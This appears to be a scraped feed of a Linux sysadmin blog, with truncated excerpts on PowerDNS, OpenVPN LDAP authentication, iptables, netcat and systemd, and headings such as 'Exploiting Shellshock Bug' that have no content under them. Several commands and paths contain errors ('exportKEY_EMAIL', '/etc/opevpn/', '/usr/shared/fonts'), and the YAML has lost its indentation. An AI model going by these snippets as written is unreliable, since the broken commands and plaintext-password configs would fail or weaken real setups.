CREATE TABLE records (
 id BIGINT AUTO_INCREMENT,
 domain_id INT DEFAULT NULL,
 name VARCHAR(255) DEFAULT NULL,
 type VARCHAR(10) DEFAULT NULL,
 content VARCHAR(64000) DEFAULT NULL,
 ttl INT DEFAULT NULL,
 prio INT DEFAULT NULL,
 change_date INT DEFAULT NULL,
 disabled TINYINT(1) DEFAULT 0,
 ordername VARCHAR(255) BINARY DEFAULT NULL,
 auth TINYINT(1) DEFAULT 1,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX nametype_index ON records(name,type);
CREATE INDEX domain_id ON records(domain_id);
CREATE INDEX ordername ON records (ordername);


CREATE TABLE supermasters (
 ip VARCHAR(64) NOT NULL,
 nameserver VARCHAR(255) NOT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' NOT NULL,
 PRIMARY KEY (ip, nameserver)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE TABLE comments (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 name VARCHAR(255) NOT NULL,
 type VARCHAR(10) NOT NULL,
 modified_at INT NOT NULL,
 account VARCHAR(40) CHARACTER SET 'utf8' DEFAULT NULL,
 comment TEXT CHARACTER SET 'utf8' NOT NULL,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX comments_name_type_idx ON comments (name, type);
CREATE INDEX comments_order_idx ON comments (domain_id, modified_at);


CREATE TABLE domainmetadata (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 kind VARCHAR(32),
 content TEXT,
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX domainmetadata_idx ON domainmetadata (domain_id, kind);


CREATE TABLE cryptokeys (
 id INT AUTO_INCREMENT,
 domain_id INT NOT NULL,
 flags INT NOT NULL,
 active BOOL,
 content TEXT,
 PRIMARY KEY(id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE INDEX domainidindex ON cryptokeys(domain_id);


CREATE TABLE tsigkeys (
 id INT AUTO_INCREMENT,
 name VARCHAR(255),
 algorithm VARCHAR(50),
 secret VARCHAR(255),
 PRIMARY KEY (id)
) Engine=InnoDB CHARACTER SET 'latin1';

CREATE UNIQUE INDEX namealgoindex ON tsigkeys(name, algorithm);

$ sudo systemctl disable systemd-resolved
$ sudo systemctl stop systemd-resolved

$ ls -lh /etc/resolv.conf
lrwxrwxrwx 1 root root 39 Jul 24 15:50 /etc/resolv.conf -> ../run/systemd/resolve/stub-resolv.conf
$ sudo unlink /etc/resolv.conf

$ echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf

Add official PowerDNS repository for Ubuntu 22.04|20.04|18.04.

Set interface IP with netplan on Ubuntu 18.04

Fri, 18 Sep 2020 13:00:05 +0800

Set interface IP with netplan on Ubuntu 18.04

Following the notes above, check /etc/netplan and open /etc/netplan/50-cloud-init.yaml:

# This file is generated from information provided by
# the datasource. Changes to it will not persist across an instance.
# To disable cloud-init's network configuration capabilities, write a file
# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the following:
# network: {config: disabled}
network:
 ethernets:
 ens192:
 dhcp4: true
 ens224:
 dhcp4: true
 version: 2

It looks like you can disable cloud network, but I do not use cloud-init, so remove it:

Deploying OpenVPN with AD domain authentication

Thu, 17 Sep 2020 13:15:33 +0800

# Install OpenVPN
yum install openvpn -y
yum -y install openssl openssl-devel -y
yum -y install lzo lzo-devel -y
yum install -y libgcrypt libgpg-error libgcrypt-devel

# Install OpenVPN auth plugin
yum install openvpn-auth-ldap -y

# Install easy-rsa
# Since openvpn 2.3 removed easy-rsa from the package, install it separately.
yum install easy-rsa
cp -rf /usr/share/easy-rsa/2.0 /etc/opevpn/

# Generate OpenVPN keys and certificates
# Edit `/opt/openvpn/etc/easy-rsa/2.0/vars` parameters
export KEY_COUNTRY="CN" # Country
export KEY_PROVINCE="ZJ" # Province
export KEY_CITY="NingBo" # City
export KEY_ORG="TEST-VPN" # Organization
exportKEY_EMAIL="81367070@qq.com" # Email
export KEY_OU="baidu" # Unit

source vars
./clean-all
./build-ca
./build-dh
./build-key-server server
./build-key client1


# Edit the OpenVPN server config: `/etc/openvpn/server.conf`
port 1194
proto udp
dev tun
ca keys/ca.crt
cert keys/server.crt
key keys/server.key # This file should be kept secret
dh keys/dh2048.pem
server 10.8.0.0 255.255.255.0 // client IP pool
push "route 192.168.1.0 255.255.255.0" // push route to clients
push "redirect-gateway" // change client gateway to route VPN traffic
ifconfig-pool-persist ipp.txt
keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3
plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-ldap.so "/etc/openvpn/auth/ldap.conf"
client-cert-not-required
username-as-common-name
log /var/log/openvpn.log


# Edit openvpn-ldap-auth config: `/etc/openvpn/auth/ldap.conf`
# /etc/openvpn/auth/ldap.conf

<LDAP>
 # LDAP server URL
 # Change to the AD server IP
 URL ldap://172.16.76.238:389

 # Bind DN (If your LDAP server doesn't support anonymous binds)
 # BindDN uid=Manager,ou=People,dc=example,dc=com
 # Change to the domain admin DN; you can query it with ldapsearch
 # Replace the IP in -h with the server IP, -D with the admin DN, -b with the base DN, and * for all
 # ldapsearch -LLL -x -h 172.16.76.238 -D "administrator@xx.com" -W -b "dc=xx,dc=com" "*"
 BindDN "cn=administrator,cn=Users,dc=xx,dc=com"

 # Bind Password
 # Password SecretPassword
 # Domain admin password
 Password passwd

 # Network timeout (in seconds)
 Timeout 15

 # Enable Start TLS
 TLSEnable no

 # Follow LDAP Referrals (anonymously)
 FollowReferrals no

 # TLS CA Certificate File
 # TLSCACertFile /usr/local/etc/ssl/ca.pem

 # TLS CA Certificate Directory
 # TLSCACertDir /etc/ssl/certs

 # Client Certificate and key
 # If TLS client authentication is required
 # TLSCertFile /usr/local/etc/ssl/client-cert.pem
 # TLSKeyFile /usr/local/etc/ssl/client-key.pem

 # Cipher Suite
 # The defaults are usually fine here
 # TLSCipherSuite ALL:!ADH:@STRENGTH
</LDAP>

<Authorization>
 # Base DN
 # Base DN for auth search
 BaseDN "dc=boqii-inc,dc=com"

 # User Search Filter
 # SearchFilter "(&(uid=%u)(accountStatus=active))"
 # sAMAccountName=%u uses the sAMAccountName value as the username,
 # and "memberof=CN=myvpn,DC=xx,DC=com" points to the VPN user group to authenticate,
 # so any user can use VPN once they are in this group.
 SearchFilter "(&(sAMAccountName=%u)(memberof=CN=myvpn,DC=boqii-inc,DC=com))"

 # Require Group Membership
 RequireGroup false

 # Add non-group members to a PF table (disabled)
 # PFTable ips_vpn_users

 <Group>
 # BaseDN "ou=Groups,dc=example,dc=com"
 # SearchFilter "(|(cn=developers)(cn=artists))"
 # MemberAttribute uniqueMember
 # Add group members to a PF table (disabled)
 # PFTable ips_vpn_eng

 BaseDN "ou=vpn,dc=boqii-inc,dc=com"
 SearchFilter "(cn=openvpn)"
 MemberAttribute "member"
 </Group>
</Authorization>

Copy the ca.crt certificate under /etc/openvpn/key for client use.

An easy way to identify virtualization technology

Wed, 29 Jul 2020 21:11:45 +0800

An easy way to identify virtualization technology

`dmidecode -s system-product-name`

Virtualization technology

VMware Workstation

root@router:~# dmidecode -s system-product-name
VMware Virtual Platform

VirtualBox

root@router:~# dmidecode -s system-product-name
VirtualBox

QEMU and KVM

root@router:~# dmidecode -s system-product-name
KVM

QEMU (emulation)

root@router:~# dmidecode -s system-product-name
Bochs

Microsoft Virtual PC

root@router:~# dmidecode | egrep -i 'manufacturer|product'
Manufacturer: Microsoft Corporation
Product Name: Virtual Machine

Virtuozzo

root@router:~# dmidecode
/dev/mem: Permission denied

en

root@router:~# dmidecode | grep -i domU
Product Name: HVM domU

`/dev/disk/by-id`

If you do not have permission to run dmidecode, you can use: ls -1 /dev/disk/by-id/

SSH certificate login guide

Wed, 08 Jul 2020 13:39:48 +0800

SSH certificate login guide

Before using SSH certificate login, you need to generate certificates. The steps are:

The user and the server both send their public keys to the CA.
The CA uses the server public key to generate a server certificate and sends it to the server.
The CA uses the user public key to generate a user certificate and sends it to the user.

Once certificates are in place, the user can log in. SSH handles the whole process automatically.

Surprisingly, you can view images in the Linux CLI?

Tue, 14 Apr 2020 22:01:02 +0800

Surprisingly, you can view images in the Linux CLI?

FIM

sudo apt-get install fim

Common shortcuts for images in FIM:

PageUp / Down: previous/next image
+/-: zoom in/out
a: auto scale
w: fit width
h: fit height
j / k: pan down/up
f / m: flip/mirror
r / R: rotate (clockwise/counterclockwise)
ESC / q: quit

Viu

cargo install viu

Lsix

sudo apt-get install imagemagick

wget https://github.com/hackerb9/lsix/archive/master.zip

Load Balancing with iptables and ip rule

Wed, 04 Dec 2019 11:08:04 +0800

Load Balancing with iptables and ip rule

Steps

This example uses an Arch Linux device with two Internet uplinks: eth0 and eth1. The mapping is:

Mark 10 (0xa) - Routing table #110 - use eth0
Mark 11 (0xb) - Routing table #111 - use eth1

We decide which uplink to use based on the packet mark. First, use ip rule to map each mark to its routing table.

The default routing table priority is 32768. To ensure our tables are used, set a higher priority (for example 31000).

Fighting ISP Cache Hijacking Again with iptables

Mon, 07 Oct 2019 10:41:08 +0800

Fighting ISP Cache Hijacking Again with iptables

Cause

The fight against the carrier cache problem started two years ago. The carrier even cached cnpm data. Worse, their cache servers were not only slow like a turtle in a marathon, they also crashed frequently, so I just wanted to write code but had to face a wall of red errors.

Fix

iptables -I FORWARD -p tcp -m tcp -m ttl --ttl-gt 20 -m ttl --ttl-lt 30 -j DROP

Fixing Disk Space Not Freed on Linux

Wed, 10 Jul 2019 09:57:33 +0800

Fixing Disk Space Not Freed on Linux

Use `df -ah` and `du -h --max-depth=1`

The total from du is far smaller than the total reported by df.

When a process deletes files but keeps running, the files are not actually removed, so disk space is not freed, and those files are not counted.

lsof |grep delete

Install Font Libraries and Chinese Fonts on Linux CentOS 7

Tue, 18 Dec 2018 22:13:40 +0800

Install Font Libraries and Chinese Fonts on Linux CentOS 7

yum -y install fontconfig

Now you can see the fonts and fontconfig directories under /usr/shared (they did not exist before).

Before that we need to create a directory. First create /usr/shared/fonts/chinese.

mkdir /usr/shared/fonts/chinese

Copy the fonts you need and upload them to /usr/shared/fonts/chinese. Here I use SimSun and HeiTi (used in reports). You will see files with ttf and ttc extensions.

What is the SHA256 that comes on the sshd entry in auth.log?

Mon, 17 Dec 2018 16:11:43 +0800

What is the SHA256 that comes on the sshd entry in auth.log?

ssh-keygen -lf .ssh/id_rsa.pub

cat .ssh/id_rsa.pub |
 awk '{ print $2 }' | # Only the actual key data without prefix or comments
 base64 -d | # decode as base64
 sha256sum | # SHA256 hash (returns hex)
 awk '{ print $1 }' | # only the hex data
 xxd -r -p | # hex to bytes
 base64 # encode as base64

Netcat (Linux nc) Practical Examples for Network Admins

Fri, 09 Nov 2018 00:17:47 +0800

Netcat (Linux nc) Practical Examples for Network Admins

Send a test UDP packet to a remote server

This command sends a UDP test packet to the specified host and port. The -w1 option sets the timeout to 1 second.

echo -n "foo" | nc -u -w1 192.168.1.8 5000

Open a UDP port to receive data

nc -lu localhost 5000

Port scanning on a remote host

This command scans TCP ports in the ranges 1-1000 and 2000-3000 on the specified host to see which ports are open.

Simulate Network Anomalies with TC and Netem

Sat, 15 Sep 2018 16:17:26 +0800

Simulate Network Anomalies with TC and Netem

Netem and TC brief overview

Netem is a network emulation module provided by Linux 2.6 and later kernels. It can be used on a good LAN to simulate complex Internet transmission performance, such as low bandwidth, latency, packet loss, and so on. Many Linux distributions with kernel 2.6+ enable this module by default, such as Fedora, Ubuntu, Redhat, OpenSuse, CentOS, Debian, etc.

TC is a user-space tool in Linux, short for Traffic Control. TC controls the operating mode of the Netem module. In other words, to use Netem you need at least two conditions: the Netem module must be enabled in the kernel, and the corresponding user-space tool TC must be available.

Quagga Routing - Install, Configure and setup BGP

Tue, 14 Aug 2018 22:13:12 +0800

Quagga Routing - Install, Configure and setup BGP

Systemd Tutorial: Practical Part

Thu, 09 Aug 2018 13:53:32 +0800

Systemd Tutorial: Practical Part

$ systemctl cat sshd.service

[Unit]
Description=OpenSSH server daemon
Documentation=man:sshd(8) man:sshd_config(5)
After=network.target sshd-keygen.service
Wants=sshd-keygen.service

[Service]
EnvironmentFile=/etc/sysconfig/sshd
ExecStart=/usr/sbin/sshd -D $OPTIONS
ExecReload=/bin/kill -HUP $MAINPID
Type=simple
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

[Unit] Section: Startup Order and Dependencies

After field: if network.target or sshd-keygen.service needs to start, then sshd.service should start after them.

Correspondingly, the Before field defines which services sshd.service should start before.

Note that After and Before only involve startup order, not dependency relationships.

Linux on Ricky

How to Install Fedora Linux on Surface Go 2 to Boost Entry-Level Tablet Performance

Create a Linux boot drive

Install Linux

Install the linux-surface kernel

Using the virtual keyboard on KDE

Mosdns-X

install

config

systemd

Docker Containers Can't Access the Internet? NAT Configuration Guide for nftables

Dedicated Server CPU Frequency Maximization Guide

Check which CPU mode is in use

governor

Check which driver the kernel uses (Intel / AMD)

Use LinuxServer.io Docker Images to Turn Desktop Apps into Web Apps

Lightweight Linux Distributions For Older PCs

Add SFTP user and share directory

Add SFTP user and share directory

1. 建立共享資料夾(SFTP 使用的資料夾)

2. 建立使用者群組

3. 創建 qa_test_user 使用者並設定 qa_test_user 使用者的群組為 share01-test

4. 創建 qa_user 使用者並設定 qa_user 使用者的群組為 share01-prod

5. 設定權限

6. 設定 /etc/ssh/sshd_config

Container security fundamentals

Tuning EMQX to Scale to One Million Concurrent Connection on Kubernetes

Linux Kernel Tuning

Erlang VM Tuning

EMQX Broker Tuning

Everything About MTU and MSS

How to Detect RAID Information in Linux

lspci

lshw

smartctl

MegaCLI

lsscsi

Vendor-Specific Tools

Test Whether a Server Is Vulnerable to Shellshock Bug

The Shellshock Bug

Exploiting Shellshock Bug

Examples of Shellshock Exploit Commands

Containers from scratch

Container file systems

chroot

How to Delete Files With Names That Contain Non-printable Characters

Using ANSI-C Quoting

Using Inode Numbers

/etc/shadow and Creating yescrypt, MD5, SHA-256, and SHA-512 Password Hashes

chage and Password Aging

How to Use which on an Aliased Command

type

GNU which

Shell Script Best Practices

Things

Template

The Art of Command Line

Printing ASCII Art in the Shell

banner

FIGlet: Frank, Ian, and Glenn’s Letters

TOIlet: FIGlet With More Options

How to Make Output Overwrite the Same Line in a Terminal

Introduction to the Problem

The “Magic Code”: \033[0K\r

Monitoring HTTP Requests on a Network Interface in Real Time

tcpflow

httpry

Parse Command Line Arguments in Bash

getopts

Parsing Long Command-Line Options With getopt

Google Cloud Platform(GCP): Access Linux Server using GUI running in GCP instance using Windows Remote Desktop Connection.

[Notes] Build an Ubuntu remote desktop environment on GCP

Install

Modify ~/.vnc/xstartup

Execute

Start vncserver on reboot

Common shell scripting tips

SSH failing with Error : fatal: daemon() failed: No such device

Mount a Synology NAS folder on CentOS 7

How to configure time zone and NTP on RHEL7/CentOS7

The “Magic Code”: `\033[0K\r`

Modify `~/.vnc/xstartup`

`dmidecode -s system-product-name`

`/dev/disk/by-id`

Use `df -ah` and `du -h --max-depth=1`